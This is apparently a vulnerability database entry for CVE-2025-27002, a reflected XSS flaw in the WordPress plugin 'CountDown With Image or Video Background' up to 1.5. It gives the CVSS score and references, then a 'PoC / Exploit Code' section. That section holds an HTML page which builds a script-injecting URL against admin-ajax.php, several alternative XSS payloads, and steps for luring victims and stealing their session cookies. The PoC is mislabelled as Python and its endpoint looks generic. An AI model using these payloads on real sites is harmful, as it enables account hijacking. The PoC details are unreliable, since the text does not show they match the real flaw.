CVE-2025-27002

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup CountDown With Image or Video Background countdown-with-background allows Reflected XSS.This issue affects CountDown With Image or Video Background: from n/a through <= 1.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CountDown With Image or Video Background <= 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-27002 PoC - Reflected XSS in WordPress CountDown Plugin -->
<!-- Target: CountDown With Image or Video Background plugin <= 1.5 -->
<!-- Attack Vector: Malicious URL parameter injection -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-27002 PoC</title>
</head>
<body>
    <h2>CVE-2025-27002 Reflected XSS PoC</h2>
    <p>Target: WordPress CountDown With Image or Video Background Plugin <= 1.5</p>
    
    <h3>Malicious URL:</h3>
    <pre id="malicious-url"></pre>
    
    <h3>Attack URL (Replace YOUR_TARGET with actual domain):</h3>
    <pre>https://YOUR_TARGET/wp-admin/admin-ajax.php?action=countdown&id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E</pre>
    
    <h3>Steps to exploit:</h3>
    <ol>
        <li>Attacker crafts a malicious URL containing XSS payload</li>
        <li>Payload: "><script>alert(document.cookie)</script></li>
        <li>Attacker tricks victim into clicking the link (phishing, social engineering)</li>
        <li>Victim's browser executes the injected JavaScript</li>
        <li>Attacker steals session cookies, hijacks account</li>
    </ol>
    
    <script>
        // Generate malicious URL
        var baseUrl = window.location.origin + '/wp-admin/admin-ajax.php';
        var maliciousParam = 'id="><script>alert("XSS")</script>';
        var fullUrl = baseUrl + '?action=countdown&' + maliciousParam;
        document.getElementById('malicious-url').textContent = fullUrl;
        
        // Optional: Auto-copy to clipboard
        navigator.clipboard.writeText(fullUrl).then(() => {
            console.log('URL copied to clipboard');
        });
    </script>
    
    <!-- Alternative payload examples -->
    <!-- <img src=x onerror=alert(document.cookie)> -->
    <!-- <svg onload=alert(document.domain)> -->
    <!-- javascript:alert(document.cookie) -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-27002
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-27002
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-27002/
[4] VulDB https://vuldb.com/cve/CVE-2025-27002
[5] https://patchstack.com/database/Wordpress/Plugin/countdown-with-background/vulnerability/wordpress-countdown-with-image-or-video-background-plugin-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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